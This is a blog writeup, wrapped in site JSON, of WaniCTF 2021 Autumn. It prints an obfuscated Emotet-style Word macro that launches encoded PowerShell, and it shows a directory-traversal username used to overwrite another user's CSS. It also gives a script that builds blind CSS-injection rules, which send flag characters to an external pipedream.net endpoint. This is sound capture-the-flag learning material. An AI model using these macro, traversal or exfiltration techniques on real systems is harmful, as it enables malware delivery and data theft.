{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-wanictf-autum-2021-en","result":{"data":{"markdownRemark":{"id":"3e07933a-9145-5b69-88bf-1855642fdd00","html":"
\n

This page has been machine-translated from the original page.

\n
\n

I participated in WaniCTF 2021, which started on 2021/11/5, this time competing solo rather than as team 0neP@dding.

\n

I scored 4820 points and finished 20th out of 430 participants.

\n

Early on I even climbed as high as 4th and managed to stay in the single-digit ranks for a while, but later I fell completely out of contention for the top spots… very frustrating.

\n

\n \n \n \n \n \n \n \n \n

\n

EmoEmotet(Hard)

\n

This was the last reversing challenge.

\n

You are given a document file with a macro that behaves like Emotet.

\n
A suspicious-looking file was attached to an email.\n\nCould this be that Emo--- thing...?\n\nNotice\n\nThe zip password is emoemotet\nThis file was created for the competition and does not contain programs that harm the system\nThis file may be falsely detected and deleted by some antivirus software\nYou can solve it even without Windows or Word\nHint : https://github.com/decalage2/oletools
\n

However, the document file was corrupted, so you could not simply execute the macro.

\n

So, as hinted, I used oletools to extract the macro script.

\n
olevba 0.60 on Python 3.9.2 - http://decalage.info/python/oletools\n===============================================================================\nFILE: ../rev-emoemotet/emoemotet.doc\nType: OLE\n-------------------------------------------------------------------------------\nVBA MACRO emo \nin file: ../rev-emoemotet/emoemotet.doc - OLE stream: 'emo'\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n\nPrivate InitDone       As Boolean\nPrivate Map1(0 To 63)  As Byte\nPrivate Map2(0 To 127) As Byte\n\nSub AutoOpen()\nCreateObject(unxor(Array(135, 46, 140, 24, 228, 225, 126, 169, 34, 40, 56), 3) & unxor(Array(201, 1), 14)).Run unxor(Array(137, 123, 117, 87, 89, 140, 200, 174, 138, 204, 135, 229, 75, 9, 168, 39, 117, 219, 2, 212, 118, 230, 128, 213, 197, 44, 99, 93, 193, 144, 49, 210, 70, 175, 228, 16, 187, 75, 36, 215, 144, 31, 223, 159, 127, 45, 9, 205, 183, 34), 16) & _\nunxor(Array(199, 228, 3, 153, 81, 192, 25, 128, 137, 147, 136, 23, 7, 80, 224, 108, 203, 255, 197, 21, 174, 66, 117, 184, 52, 127, 71, 19, 183, 239, 29, 155, 18, 223, 159, 241, 35, 183, 202, 179, 22, 101, 99, 100, 54, 218, 32, 33, 142, 198, 175, 159, 29, 205, 110, 154, 65, 22, 247, 152, 91, 192, 108, 145, 58, 203, 25, 158, 99, 37, 128, 229, 54, 60, 38, 178, 134, 208, 68, 38, 39, 99, 76, 155, 56, 147, 53, 156, 203), 66) & _\nunxor(Array(102, 198, 208, 164, 182, 203, 117, 231, 127, 219, 94, 126, 10, 162, 173, 72, 207, 156, 150, 219, 167, 117, 27, 172, 242, 233, 32, 72, 61, 65, 178, 142, 245, 133, 139, 29, 181, 134, 18, 199, 242, 233, 14, 5, 134, 127, 212, 91, 91, 8, 171, 90, 25, 109, 198, 97, 6, 157, 10, 45, 214, 27, 185, 134, 246, 145, 32, 196, 221, 131, 137, 27, 100, 146, 80, 67, 177, 161, 71, 193, 155, 175, 42, 192, 227, 172, 239, 123, 92), 155) & _\nunxor(Array(234, 141, 79, 179, 223, 15, 203, 43, 171, 112, 201, 234, 98, 141, 170, 14, 174, 104, 46, 107, 122, 18, 176, 138, 238, 208, 78, 126, 217, 208, 197, 2, 219, 144, 118, 145, 213, 45, 173, 225, 233, 161, 66, 174, 198, 108, 46, 184, 249, 150, 178, 36, 223, 5, 41, 60, 105, 114, 110, 110, 40, 134, 139, 35, 41, 235, 57, 182, 60, 105, 58, 175, 196, 240, 224, 144, 250, 156, 14, 138, 217, 9, 147, 115, 55, 194, 186, 162, 79), 244) & _\nunxor(Array(209, 193, 20, 114, 189, 230, 8, 167, 240, 61, 224, 242, 135, 166, 38, 7, 87, 151, 117, 148, 46, 97, 158, 117, 106, 143, 40, 126, 199, 26, 83, 196, 211, 16, 152, 203, 123, 22, 248, 60, 127, 38, 179, 12, 140, 170, 29, 148, 133, 77, 82, 213, 53, 92, 146, 151, 236, 151, 74, 37, 118, 16, 28, 157, 49, 18, 131, 195, 167, 133, 54, 214, 12, 248, 32, 108, 36, 131, 65, 250, 97, 12, 26, 10, 182, 16, 34, 15, 10), 333) & _\nunxor(Array(81, 75, 148, 28, 3, 254, 84, 127, 57, 78, 30, 146, 239, 82, 115, 175, 20, 208, 87, 218, 140, 50, 189, 210, 111, 35, 12, 128, 1, 116, 208, 150, 230, 88, 166, 120, 35, 106, 166, 121, 243, 216, 251, 46, 25, 196, 102, 54, 130, 52, 233, 123, 103, 240, 146, 114, 144, 49, 205, 121, 89, 126, 226, 239, 23, 51, 71, 7, 184, 111, 154, 71, 39, 28, 191, 99, 43, 237, 59, 241, 187, 84, 205, 162, 82, 62, 227, 183, 145), 422) & _\nunxor(Array(220, 194, 134, 110, 158, 136, 28, 157, 6, 28, 18, 29, 219, 15, 42, 69, 202, 26, 210, 214, 48, 60, 156, 210, 88, 81, 191, 153, 36, 72, 192, 205, 71, 101, 125, 96, 84, 172, 113, 120, 112, 252, 31, 16, 92, 180, 3, 4, 127, 58, 214, 173, 165, 31, 64, 250, 139, 176, 79, 89, 136, 249, 48, 37, 153, 201, 184, 51, 155, 186, 96, 121, 74, 163, 28, 131, 230, 74, 186, 237, 17, 163, 101, 17, 51, 1, 78, 40, 101), 511) & _\nunxor(Array(173, 96, 11, 202, 44, 219, 158, 69, 217, 56, 179, 84, 118, 152, 185, 163, 20, 92, 3, 211, 142, 226, 92, 27, 150, 191, 222, 95, 105, 58, 87, 200, 109, 108, 90, 41, 190, 252, 39, 215, 215, 150, 117, 140, 19, 0, 206, 174, 60, 83, 253, 136, 153, 112, 28, 55, 54, 1, 131, 65, 74, 92, 97, 135, 64, 80, 192, 181, 183, 54, 130, 9, 197, 65, 182, 38, 196, 1, 248, 217, 155, 50, 57, 1, 135, 114, 53, 68, 126), 600) & _\nunxor(Array(246, 123, 20, 204, 50, 152, 85, 111, 106, 210, 2, 247, 48, 159, 65, 255, 33, 131, 91, 157, 245, 204, 232, 223, 23, 163, 243, 109, 81, 181, 198, 99, 13, 150, 202, 151, 133, 228, 53, 192, 53, 212, 255, 30, 218, 222, 76, 176, 230, 46, 127, 0, 251, 133, 0, 75, 6, 98, 143, 221, 135, 70, 86, 153, 72, 105, 167, 91, 77, 86, 67, 240, 157, 143, 239, 49, 103, 247, 44, 158, 232, 23, 50, 225, 15, 179, 237, 94, 120), 689) & _\nunxor(Array(21, 83, 142, 200, 60, 47, 222, 133, 241, 121, 102, 78, 134, 204, 252, 118, 74, 8, 97, 95, 138, 94, 62, 159, 44, 75, 147, 70, 175, 185, 75, 205, 218, 38, 251, 211, 199, 207, 11, 12, 118, 242, 74, 62, 19, 187, 36, 239, 38, 120, 58, 21, 17, 110, 113, 192, 57, 6, 111, 168, 102, 244, 147, 53, 151, 47, 247, 65, 123, 74, 183, 87, 167, 131, 236, 21, 60, 168, 168, 109, 249, 113, 164, 208, 138, 110, 252, 219, 183), 778) & _\nunxor(Array(220, 77, 218, 41, 229, 2, 88, 252, 106, 253, 236, 187, 215, 59, 193, 15, 32, 150, 231, 159, 48, 149, 160, 224, 111, 182, 39, 147, 118, 135, 109, 38, 249, 118, 63, 205, 247, 94, 37, 175, 100, 222, 164, 108, 71, 245, 42, 113, 7, 181, 87, 188, 28, 71, 172, 75, 129, 136, 82, 8, 238, 65, 105, 125, 243, 190, 156, 168, 181, 28, 153, 190, 197, 25, 147, 84, 135, 79, 188, 11, 18, 30, 138, 195, 228, 177, 172, 230, 163), 867) & _\nunxor(Array(116, 194, 246, 44, 213, 63, 75, 126, 78, 201, 230, 241, 205, 28, 240, 125, 46, 241, 50, 61, 113, 118, 113, 86, 190, 61, 41, 156, 140, 82, 85, 106, 154, 150, 116, 59, 37, 253, 214, 245, 112, 156, 68, 246, 220, 182, 181, 189, 58, 225, 9, 164, 170, 238, 237, 86, 187, 55, 95, 125, 41, 240, 254, 175, 112, 213, 7, 13, 2, 246, 86, 176, 29, 97, 105, 229, 127, 121, 158, 77, 51, 32, 116, 104, 213, 158, 211, 231, 161), 956) & _\nunxor(Array(129, 43, 134, 12, 8, 25, 228, 210, 145, 230, 100, 15, 197, 93, 157, 207, 26, 89, 220, 180, 84, 164, 102, 26, 249, 193, 34, 39, 225, 173, 136, 48, 2, 189, 79, 149, 126, 91, 99, 100, 89, 230, 239, 55, 238, 118, 200, 215, 212, 103, 180, 29, 169, 169, 86, 253, 76, 43, 205, 184, 10, 200, 239, 162, 140, 127, 45, 214, 133, 132, 32, 46, 221, 66, 49, 28, 237, 233, 29, 55, 34, 233, 243, 91, 27, 182, 146, 58, 210), 1045) & _\nunxor(Array(221, 59, 115, 92, 39, 169, 26, 171, 5, 50, 197, 131, 119, 184, 107, 4, 29, 192, 53, 48, 132, 208, 65, 239, 155, 255, 215, 11, 24, 223, 136, 184, 64, 53, 126, 130, 187, 163, 164, 231, 37, 66, 251, 28, 11, 234, 2, 4, 164, 226, 66, 129, 205, 228, 64, 161, 54, 125, 62, 224, 56, 131, 134, 191, 223, 120, 130, 17, 7, 109, 154, 190, 7, 142, 154, 136, 163, 62, 125, 20, 97, 205, 30, 51, 252, 229, 116, 237, 29), 1134) & _\nunxor(Array(250, 244, 208, 17, 50, 212, 135, 122, 49, 134, 155, 37, 131, 204, 239, 166, 215, 221, 49, 134, 92, 63, 41, 197, 73, 176, 26, 30, 134, 119, 176, 123, 215, 56, 159, 8, 66, 175, 127, 67, 73, 174, 128, 162, 142, 209, 1, 136, 92, 160, 147, 191, 233, 99, 132, 42, 11, 107, 188, 42, 221, 194, 18, 107, 174, 79, 16, 20, 104, 155, 183, 188, 119, 207, 27, 251, 1, 131, 14, 91, 61, 115, 233, 57, 143, 178, 128, 246, 87), 1223) & _\nunxor(Array(214, 95, 231, 84, 214, 176, 235, 78, 206, 44, 143, 68, 150, 97, 49, 48, 56, 82, 156, 68, 43, 117, 63, 134, 143, 30, 38, 64, 222, 22), 1312)\nEnd Sub\n\nPublic Function Base64Decode(ByVal s As String) As Byte()\n   If Not InitDone Then Init\n   Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s)\n   Dim ILen As Long: ILen = UBound(IBuf) + 1\n   If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , \"\"\n   Do While ILen > 0\n      If IBuf(ILen - 1) <> Asc(\"=\") Then Exit Do\n      ILen = ILen - 1\n      Loop\n   Dim OLen As Long: OLen = (ILen * 3) \\ 4\n   Dim Out() As Byte\n   ReDim Out(0 To OLen - 1) As Byte\n   Dim ip As Long\n   Dim op As Long\n   Do While ip < ILen\n      Dim i0 As Byte: i0 = IBuf(ip): ip = ip + 1\n      Dim i1 As Byte: i1 = IBuf(ip): ip = ip + 1\n      Dim i2 As Byte: If ip < ILen Then i2 = IBuf(ip): ip = ip + 1 Else i2 = Asc(\"A\")\n      Dim i3 As Byte: If ip < ILen Then i3 = IBuf(ip): ip = ip + 1 Else i3 = Asc(\"A\")\n      If i0 > 127 Or i1 > 127 Or i2 > 127 Or i3 > 127 Then _\n         Err.Raise vbObjectError, , \"\"\n      Dim b0 As Byte: b0 = Map2(i0)\n      Dim b1 As Byte: b1 = Map2(i1)\n      Dim b2 As Byte: b2 = Map2(i2)\n      Dim b3 As Byte: b3 = Map2(i3)\n      If b0 > 63 Or b1 > 63 Or b2 > 63 Or b3 > 63 Then _\n         Err.Raise vbObjectError, , \"\"\n      Dim o0 As Byte: o0 = (b0 * 4) Or (b1 \\ &H10)\n      Dim o1 As Byte: o1 = ((b1 And &HF) * &H10) Or (b2 \\ 4)\n      Dim o2 As Byte: o2 = ((b2 And 3) * &H40) Or b3\n      Out(op) = o0: op = op + 1\n      If op < OLen Then Out(op) = o1: op = op + 1\n      If op < OLen Then Out(op) = o2: op = op + 1\n      Loop\n   Base64Decode = Out\n   End Function\n\nPrivate Sub Init()\n   Dim c As Integer, i As Integer\n   i = 0\n   For c = Asc(\"A\") To Asc(\"Z\"): Map1(i) = c: i = i + 1: Next\n   For c = Asc(\"a\") To Asc(\"z\"): Map1(i) = c: i = i + 1: Next\n   For c = Asc(\"0\") To Asc(\"9\"): Map1(i) = c: i = i + 1: Next\n   Map1(i) = Asc(\"+\"): i = i + 1\n   Map1(i) = Asc(\"/\"): i = i + 1\n   For i = 0 To 127: Map2(i) = 255: Next\n   For i = 0 To 63: Map2(Map1(i)) = i: Next\n   InitDone = True\n   End Sub\n   \nPrivate Function ConvertStringToBytes(ByVal s As String) As Byte()\n   Dim b1() As Byte: b1 = s\n   Dim l As Long: l = (UBound(b1) + 1) \\ 2\n   If l = 0 Then ConvertStringToBytes = b1: Exit Function\n   Dim b2() As Byte\n   ReDim b2(0 To l - 1) As Byte\n   Dim p As Long\n   For p = 0 To l - 1\n      Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1))\n      If c >= 256 Then c = Asc(\"?\")\n      b2(p) = c\n      Next\n   ConvertStringToBytes = b2\n   End Function\n\n\nPrivate Function unxor(ciphertext As Variant, start As Integer)\n    Dim cleartext As String\n    Dim key() As Byte\n    key = Base64Decode(\"rFd10H3vao2RCodxQF2lbfkUAjIr/6DL5qCnyC4p5EA0tEOXFafhhIdAIhum0XulB9+lU9wKRrDSWZ7XHGxFnPVUhqNK2DCnW8bI1MVWYxGhC4q5iFT5EzfCdTcWUu2+X9VTnKuwcOaIxVcmVyVjrWIRz4Dm3kecLNgAU8fZOKcu/XuMXN85ZMKjd3Rv882RBUFmICvacdJ36Yojk5HAwYoBpjjjHydt4NwJisnXgtA3K+2xqGEBfAPmz73uyn7CxCKGt7xPUdc+oRoeY+oObiyzIEPQS3mhWffHsNBhkbrBz1os3xEgxuM3gN6Xa5SE7Zo6G7vMFeKdYops3DGQuyDY60v7KXscOCLxwqeRFC+buIRH69E90JdP7KSC4CDZhxlv/cnX6HWdcWh7UTM7CWqzymtkqm/3fjp76pGxscG40k/M6UjaMnWg++oCkJZFMMenTvaxZ7GwyedlMxbOAtZ+INlBK+tPPIFbG42SRtmJH1e8Uz5p1E7h61vdxBkl\" & _\n\"l3sd196txhtnIlFZyHBc5IKXxHCbTa5hLl3CBpEgbn1I2FFhaEsYCtVyQrkdPmA5X6CuFhjuRacVoM131pMLVE7IQDG717EZ5BdiLOc4pb+5Q1iMAXfQQ6soJrjxM8ZgjzQYO5WuQkQFdfko6QZEa/0QaqhysOozj/sTeoj2wI2A0C/bwV35cV5EXJNOawqbWJCXdwzdsD8QjNhiDYGYFicJIRD5MBshvm1RGv1CZz54n+ziSgGe2vJ6GMy4cWv+i+hy0/shNgvhVcKuJfuPZuFUUHtqD3w07yZKj2ma+iKYCvIRO9nu8lYOQpbbowha1OyfGzx7BJkvJxth3b1xoJaiNMRwQZz/fiC8zvYxTlB0bsIHKR07xgI8gfCDd+NIhwL3YbdAor7ZfHhH3jNhBTykOlyrc/0yLQSTR8dx0BC9QMIerbSCqZ1Q4rUGEPiXIVvXjtrEhnSBTZW4U5uJHfGQbzlVuuRRCUAjyIzGCDHbDCjvEgwbNLLEzqdeJrh9\" & _\n\"3K1WddVO4bwcKlQb14luWJzBsDwrD8u7vi8LTRIe6A982G0Oygf6+Am9m2GIkp6eSWY3tSF/cOpmuWc+d1RCPzO5eEAm6TWT0ULWZ5QAMD31GObEpVRZ+eoCuDSckd0JvrP2lBSbZKRADL0unq3vhnmyTmflpvtH15ahJ+9mxgHGH2exGX6vgBx17iyx5T4WtBowQsIW310F1QrH6xNfvwM9PLv/3czSXs//jUDSB/AN60pVccuZtfPvp+ZMg6d9l0UKNiWIq7CMKbE7Z7BWWjNEMBPdfGbNzmQULvHXOXpnlZeyNd0ht57x9PljoFDD6N+sEuJ2DRprg7/qNZRJekOAF/VIID2SPgDfCkRhLg+Xq5KgysBO4U5nWKGD0IM1TYcc24pbCY31beUlebiKc2aS7MtxQ+o41wQaJQ8Ys5h13jeNgpUz5Vzc6BGWDUm6+X+Jqu/NK1qUy8Vmb5wXVl6BqFt6Y7yEGWv31QKTiVwyKWbuV+pRRYf3NvAqRX6n\" & _\n\"d1zFmAyuzoiVe1masPkUUjz2+uacpn8DuVpKrDJF64UDt4yhEeBsLHykecS+/r0pwEBGJdP/Vd/Y3OJ4MFUqnF9UvaYfrFG7trJQepnGH2DE4WTFna70hp9Fxx8LaJMI8lxfwBDxH5Z56kkF+j4hLuzq48vpQNId4tn+rFfFeHwp2GuZrVMkyQ1SVSDW9uUAjWu6ROhPEGwyjnjM2cG6MJQmphOD8bIfjGnOAscgU0d6FN0BHzRtx85xZwO1Vw==\")\n    cleartext = \"\"\n    For i = LBound(ciphertext) To UBound(ciphertext)\n        cleartext = cleartext & Chr(key(i + start) Xor ciphertext(i))\n    Next\n    unxor = cleartext\nEnd Function\n\n\n-------------------------------------------------------------------------------\nVBA MACRO ThisDocument \nin file: ../rev-emoemotet/emoemotet.doc - OLE stream: 'ThisDocument'\n- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n(empty macro)\n+----------+--------------------+---------------------------------------------+\n|Type      |Keyword             |Description                                  |\n+----------+--------------------+---------------------------------------------+\n|AutoExec  |AutoOpen            |Runs when the Word document is opened        |\n|Suspicious|Run                 |May run an executable file or a system       |\n|          |                    |command                                      |\n|Suspicious|CreateObject        |May create an OLE object                     |\n|Suspicious|Chr                 |May attempt to obfuscate specific strings    |\n|          |                    |(use option --deobf to deobfuscate)          |\n|Suspicious|Xor                 |May attempt to obfuscate specific strings    |\n|          |                    |(use option --deobf to deobfuscate)          |\n|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |\n|          |                    |used to obfuscate strings (option --decode to|\n|          |                    |see all)                                     |\n+----------+--------------------+---------------------------------------------+
\n

It is obfuscated to death, so it is hard to tell much from that alone. I simply assumed that if it was Emotet, it was probably calling PowerShell, so I decided to capture the process launched when the macro runs.

\n

That showed that it was running the following encoded PowerShell script.

\n
C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -e LgAoACcAaQBlAFgAJwApACgAbgBFAHcALQBvAGIAagBFAGMAdAAgAFMAWQBzAHQAZQBNAC4ASQBvAC4AUwB0AFIAZQBBAE0AcgBlAGEAZABFAHIAKAAgACgAIABuAEUAdwAtAG8AYgBqAEUAYwB0ACAAIABTAHkAcwB0AEUATQAuAEkATwAuAEMATwBNAFAAUgBFAHMAcwBpAE8ATgAuAGQAZQBmAGwAYQBUAEUAUwB0AHIAZQBhAE0AKABbAEkAbwAuAE0AZQBtAG8AUgB5AHMAVABSAEUAQQBNAF0AIABbAHMAWQBzAFQAZQBNAC4AYwBPAG4AdgBFAHIAVABdADoAOgBmAFIATwBNAEIAQQBTAEUANgA0AFMAVAByAGkAbgBnACgAIAAnAGIAYwA2ADkAQwBzAEkAdwBHAEkAWABoAFAAVgBmAHgARwBSAHcAVQBMAEwAUwBrAGsAcwBsAEIAQgBYADkAQQBVAEIAdwBVAHAAOQBBAG0AbgA3AFEAUQBtADUAcQBrAFIAcABIAGUAdQB5ADAANgBPAHAAOABIAHoAbwB1AHkATQBFAEEAdgA2AEMAWQBRAEUATABSADUASQBKAHcAVwA4AHcARQBsAFoARgBoAFcAZABlAE4AaABCAGsAZgBNAFYATABRAHgAegBnAE0AOQBaAE0ANABGAFkAMQBVADMAbAAxAGMAWQAvAFUAaQBFAGQANgBDAHIAMwBYAHoAOQBEAG4ARQBRAHYARwBDAEMAMwBYAEsAbQBGAEYAUABpAGsAYQBjAGkAcQBVAFMASQByAFIASgBwAHcAKwBOAGIAeQBoAE8AWgBhAHYAMABTADcATQBsAGsAdwB6AHYAUwArAHoAbwBPAHoARQA0AEwAcAByAFcAWQBTAHAAdgBVAHYASwBWAGoAZQBCAE8AQQBzAHkAMAA5AFIAdgB2AEcAOQB6ADkAMABhAGEAeABGADYAYgB1ADYARgBsAEEANwAvAEUATwAyAGwAZgB5AGkAegBoAEQAeQBBAFEAPQA9ACcAKQAsACAAWwBzAFkAUwB0AEUATQAuAGkAbwAuAEMATwBNAFAAUgBlAFMAUwBpAG8ATgAuAGMATwBtAHAAcgBlAHMAUwBpAE8ATgBtAE8AZABFAF0AOgA6AEQAZQBDAG8AbQBQAHIARQBTAFMAKQAgACkALABbAHMAeQBzAFQARQBtAC4AVABFAFgAdAAuAGUAbgBjAE8AZABJAE4ARwBdADoAOgBBAHMAYwBpAEkAKQAgACkALgByAGUAYQBEAFQAbwBFAE4ARAAoACkA
\n

After decoding the Base64, I found that it was executing the following script.

\n
.('ieX')(nEw-objEct SYsteM.Io.StReAMreadEr( ( nEw-objEct  SystEM.IO.COMPREssiON.deflaTEStreaM([Io.MemoRysTREAM] [sYsTeM.cOnvErT]::fROMBASE64STring( 'bc69CsIwGIXhPVfxGRwULLSkkslBBX9AUBwUp9Amn7QQm5qkRpHeuy06Op8HzouyMEAv6CYQELR5IJwW8wElZFhWdeNhBkfMVLQxzgM9ZM4FY1U3l1cY/UiEd6Cr3Xz9DnEQvGCC3XKmFFPikaciqUSIrRJpw+NbyhOZav0S7MlkwzvS+zoOzE4LprWYSpvUvKVjeBOAsy09RvvG9z90aaxF6bu6FlA7/EO2lfyizhDyAQ=='), [sYStEM.io.COMPReSSioN.cOmpresSiONmOdE]::DeComPrESS) ),[sysTEm.TEXt.encOdING]::AsciI) )
\n

I decoded the Base64 string inside it, but the result was binary data, so I could not read it directly.

\n

Looking at the processing, it calls COMPREssiON.deflaTEStreaM, so it is presumably a compressed memory stream.

\n

Reference: DeflateStream Class (System.IO.Compression) | Microsoft Docs

\n

If it is an encrypted memory stream, then once it is expanded in the process it should be back in plaintext, so I took a process dump of PowerShell while this script was running and analyzed it.

\n
echo \"Yes, we love VBA!\"\n$input = Read-Host \"Password\"\n\nif ($input -eq \"FLAG{w0w_7h3_3mb3dd3d_vb4_1n_w0rd_4u70m471c4lly_3x3cu73d_7h3_p0w3r5h3ll_5cr1p7}\") {\n  Write-Output \"Correct!\"\n} else {\n  Write-Output \"Incorrect\"\n}
\n

That revealed the logic above, which gave me the flag.

\n

Web

\n

Most of the web challenges were straightforward copy-paste style problems, but the final one, Styled memo, was quite interesting.

\n

There was also a timely challenge about CVE-2021-41773 that was easy but still taught me something new.

\n

I was not very familiar with how Nginx URI normalization behaves or with off-by-slash misconfigurations, so it was a good learning experience.

\n

Reference: Common Nginx misconfigurations that leave your web server open to attack - Detectify Blog

\n

Reference: Breaking-Parser-Logic

\n

Styled memo(very hard)

\n

This was a memo app built with Django.

\n

The available features were as follows.

\n\n

Duplicate usernames were not allowed.

\n

For the CSS that each user can configure, files can be uploaded, and uploaded files are placed under /media/css/<username>/<filename>.css.

\n

Behind the scenes, there was an Admin user associated with each normal user (presumably), and the flag was stored in the Admin user’s memo. The challenge was to somehow hack that.

\n

Since the app very explicitly lets you upload arbitrary CSS, it is easy to guess that the end goal is CSS injection.

\n

Reference: WSTG - v4.1 CSS Injection | OWASP

\n

So from there, I thought about how to make an arbitrary CSS file appear on the Admin user’s page.

\n

The ideas I came up with were these.

\n\n

Steal the admin user’s credentials themselves

\n

This was the first thing I tried, but it looked like a very high bar.

\n

The credentials were embedded in server-side environment variables and retrieved via Django functionality.

\n

The Django version was also 2.2.20, which is fairly recent for the 2.2 series, and I could not find any promising vulnerability.

\n

Tamper with the admin user’s registration

\n

Since it used a custom user model, I inspected the model definition and found a tricky structure where each user stores a reference to the corresponding admin account.

\n
class User(AbstractUser):\n    username = models.CharField(\n        _(\"username\"),\n        max_length=150,\n        unique=True,\n        help_text=_(\"Required. 150 characters or fewer.\"),\n        error_messages={\n            \"unique\": _(\"A user with that username already exists.\"),\n        },\n    )\n    css = models.FileField(\n        \"メモ用CSS\",\n        default=get_css_default,\n        blank=True,\n        upload_to=get_upload_to,\n        storage=OverwriteStorage(),\n    )\n    admin = models.ForeignKey(\"User\", null=True, on_delete=models.PROTECT)\n\n    @cached_property\n    def admin_username(self):\n        if self.admin is not None:\n            return self.admin.username\n        return \"\"
\n

Looking at RegisterView, I found that a corresponding admin user is created 1:1 when a user is created. (Probably for CTF convenience.)

\n

Unfortunately, the admin-user creation was handled entirely in backend code outside of my control, so tampering with it looked difficult.

\n
admin_username = None\nwhile (\n    admin_username is None\n    or User.objects.filter(username=admin_username).exists()\n):\nadmin_username = \"admin\" + \"\".join(random.sample(chars, 8))\nadmin = User(username=admin_username)\nadmin.set_password(os.environ.get(\"ADMIN_PASSWORD\"))\nadmin.save()\nuser.admin = admin\nuser.save()
\n

Make the admin user load a normal user’s CSS

\n

The Admin user was implemented so that it could not open anything other than its own page, so this seemed difficult.

\n

I also realized halfway through that this was pointless anyway: the flag is on the Admin user’s page, so making the Admin user visit a normal user’s page would not help.

\n

Tamper with the CSS loaded by the admin user

\n

The path to each user’s CSS is created by the get_upload_to function when a CSS file is uploaded.

\n
def get_upload_to(user, filename):\n    return \"css/{0}/{1}\".format(user.username, filename)\n\ndef get_css_default():\n    return File(open(\"app/static/example.css\", \"r\"), \"example.css\")
\n

Looking more closely at the User model definition, I noticed that the uploaded CSS path itself is not tied to the User model and lies outside the scope protected by user authentication.

\n
css = models.FileField(\n\t\"メモ用CSS\",\n    default=get_css_default,\n    blank=True,\n    upload_to=get_upload_to,\n    storage=OverwriteStorage(),\n)
\n

In other words, all I had to do was somehow make the CSS path returned by get_upload_to match the CSS path referenced by the Admin user.

\n

This turned out to be very easy.

\n

get_upload_to returns nothing more than a path string, and when Django resolves the CSS file path from that string, directory traversal works.

\n

So I changed my username to the following and uploaded example.css.

\n
# Username after change\n../css/Adminhoge
\n

That successfully overwrote the contents of /media/css/Adminhoge/example.css!

\n

Blind CSS Injection

\n

Now that I could make the Admin user load arbitrary CSS, the rest was just work.

\n

The flag is stored in the memo data’s data-content.

\n

So by creating CSS like the following, I could identify the flag one character at a time via blind extraction.

\n
button[data-content^=\"FLAG{C\"] \n{\n    background: url(https://remoteurl[.]xxx?FLAG{C);\n}
\n

To generate CSS that tries every pattern and identifies one character of the flag, I wrote the following script.

\n
# Usage: python3 gen_css.py > example.css\nV = \"}{!#$%&()=-~^|`@[]*?_ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-\"\n\nfor val in V:\n    flag = \"FLAG{\" + val\n    css = \"\"\"button[data-content^=\\\"\"\"\" + flag + \"\"\"\\\"] {background: url(https://enuht7nw1df9k7r.m.pipedream.net?\"\"\" + flag + \"\"\");}\"\"\"\n    print(css)
\n

After uploading the generated example.css, once the Admin user logged into its page, one character of the flag would be sent to the remote server.

\n

Repeating this eventually let me determine that the flag was FLAG{CSS_Injecti0n_us1ng_d1r3ctory_tr@versal}!

\n

It would probably have been better to use CSS recursion or write an upload automation script, but since I only needed the flag, I brute-forced it manually one character at a time.

\n

Unsolved Challenges

\n

breakRAID(Forensic)

\n

This challenge involved recovering one damaged disk out of a three-disk RAID5 set.

\n

When I looked into it, I found quite a few similar problems, and it seemed possible to restore the damaged disk by XORing the parity from the two healthy disks. Unfortunately, I failed to recover it and had to give up.

\n

Reference: Tokyo Westerns CTF 2016 - Recovery 1: deadnas

\n

Apparently the difference was that the similar challenge above used DOS storage, whereas this one used Linux storage.

\n

(Does the RAID5 recovery method really change depending on the OS…?)

\n

I could not find a clear explanation for why the method from the similar challenge did not work here, but Linux RAID5 appears to be managed with mdadm, and according to the article below you can restore and mount it with the following steps.

\n

Reference: mount - Create RAID array of image files - Ask Ubuntu

\n
sudo losetup /dev/loop1 disk01\nsudo losetup /dev/loop2 disk02\nsudo mdadm --assemble /dev/md0 /dev/loop1 /dev/loop2\n# mdadm: /dev/loop1 is busy - skipping\n# mdadm: /dev/loop2 is busy - skipping\nsudo mdadm -Es\n# ARRAY /dev/md/0  metadata=1.2 UUID=2dfa6967:99457c4e:cce8f079:7a80f14d name=ishioka:0\nls -AlF /dev/md/ishioka\\:0\n# lrwxrwxrwx 1 root root 8 11月  7 23:52 /dev/md/ishioka:0 -> ../md127\n\nsudo mount /dev/md127 /mnt
\n

Reference: WaniCTF 2021 write-up - Programming Notes Blog

\n

With that, the image file inside the storage could be restored, and the flag could be obtained.

\n

Summary

\n

I placed 56th when I entered in the spring, so my ranking improved a bit, but I still could not solve any Pwn or Crypto challenges at all.

\n

The only categories I cleared completely were Web and Rev, so I still need to study more.

\n

I plan to keep entering contests every week and keep improving.

","fields":{"slug":"/ctf-wanictf-autum-2021-en","tagSlugs":["/tag/ctf-en/","/tag/reversing-en/","/tag/web-en/","/tag/forensic-en/","/tag/english/"]},"frontmatter":{"date":"2021-11-08","description":"Writeups for interesting and educational challenges from WaniCTF 2021 Autumn.","tags":["CTF (en)","Reversing (en)","Web (en)","Forensic (en)","English"],"title":"WaniCTF 2021 Autumn Writeup [Rev/Web/Forensic]","socialImage":{"publicURL":"/static/dc4d8b7f8795f3c3d3489d9957d155f2/no-image.png"}}}},"pageContext":{"slug":"/ctf-wanictf-autum-2021-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}